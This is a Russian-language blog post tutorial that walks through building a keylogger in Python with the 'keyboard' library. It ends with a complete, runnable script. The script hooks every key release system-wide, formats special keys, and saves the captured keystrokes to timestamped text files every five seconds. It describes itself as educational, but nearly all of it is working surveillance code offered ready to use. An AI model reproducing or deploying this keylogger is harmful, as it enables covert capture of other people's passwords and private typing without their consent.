Найти в Дзене
IT Start | Python

Кейлоггер на Python

Оглавление

Введение

В данной статье напишем код кейлоггера на языке программирования Python.

Наша цель – ознакомить Вас с этими типами скриптов в образовательных целях.

Кейлоггер на Python

Для написания кейлоггера нам понадобится модуль keyboard, чтобы считывать нажатия клавиш. Для его установки нужно перейти в терминал, или же командную строку, прописать pip install keyboard, нажать Enter и ждать установки.

После инсталляции модуля keyboard импортируем всё, что нам понадобится для написания кода:

import keyboard
from threading import Timer
from datetime import datetime

Добавим константу SEND_REPORT_EVERY для хранения интервала сохранения в секундах.
Лучше конечно указывать интервал побольше, но в качестве примера укажем 5 секунд:

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5

Создадим класс Keylogger. В __init__ добавим параметр interval. Добавим переменную interval, переменную log, которая будет хранить логи. В start_dt и end_dt мы будем сохранять начало срабатывания, и окончание соответственно:

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5

class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

Добавим метод callback() для записи нажатий на клавиши клавиатуры. Внутри него будет условие для проверки специальных клавиш.

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5

class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

def callback(self, event):
name = event.name

if len(name) > 1:
# Если мы нажимаем на пробел, который именуется как space, то мы её заменяем на обычный пробел
if name == "space":
name = " "
# Если встречается нажатие на клавишу ENTER, то покажем её в верхнем регистре и выделим скобочками
elif name == "enter":
name = "[ENTER]\n"
# Если встречается нажатие на клавишу delete на NumPad, то покажем её как точку
elif name == "decimal":
name = "."

Заменим пробелы спец клавиш символами подчеркивания и добавим имя ключа в лог:

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5

class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

def callback(self, event):
name = event.name

if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
# Заменим пробелы спец клавиш символами подчеркивания
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
# Добавим имя ключа в лог
self.log += name

Теперь создадим метод update_filename(), внутри которого будет создаваться название txt файла из даты начала и окончания записи:

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5

class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

def callback(self, event):
name = event.name

if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name

def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

Далее создадим метод report_to_file(), внутри которого напишем код создания нового txt файла и записи в него нажатий логов:

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5

class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

def callback(self, event):
name = event.name

if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"

self.log += name

def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):
# создать файл
with open(f"{self.filename}.txt", "w") as f:
# записать лог
print(self.log, file=f)
print(f"Сохранение {self.filename}.txt")

Создадим метод report(), предназначенный для сохранения txt файла с логами, если есть что сохранять, а также для запуска метода start(), который мы добавим следующим.

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5

class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

def callback(self, event):
name = event.name

if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"

self.log += name

def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)

print(f"Сохранение {self.filename}.txt")

def report(self):
if self.log:
self.end_dt = datetime.now()
# обновить `self.filename`
self.update_filename()
self.report_to_file()
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
# старт
timer.start()

И последний метод, который нам нужно создать назовём start(). Внутри данного метода будет сохраняться дата и время запуска и включаться сам кейлоггер:

import keyboard
from threading import Timer
from datetime import datetime

SEND_REPORT_EVERY = 5

class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

def callback(self, event):
name = event.name

if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
# Заменим пробелы спец клавиш символами подчеркивания
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
# Добавим имя ключа в лог
self.log += name

def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)

print(f"Сохранение {self.filename}.txt")

def report(self):
if self.log:
self.end_dt = datetime.now()

self.update_filename()
self.report_to_file()
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True

timer.start()

def start(self):
# Записать дату и время начала
self.start_dt = datetime.now()

keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()

if __name__ == "__main__":
# Запустим кейлоггер
Keylogger(interval=SEND_REPORT_EVERY).start()

Заключение

В ходе статьи мы с Вами написали код кейлоггера, и разобрали как он работает. Надеюсь Вам понравилась статья, желаю удачи и успехов! 🙂

Оригинал статьи - Кейлоггер на Python

Мой Telegram канал

Мой YouTube канал

Курс по созданию GUI на Python

Наука
7 млн интересуются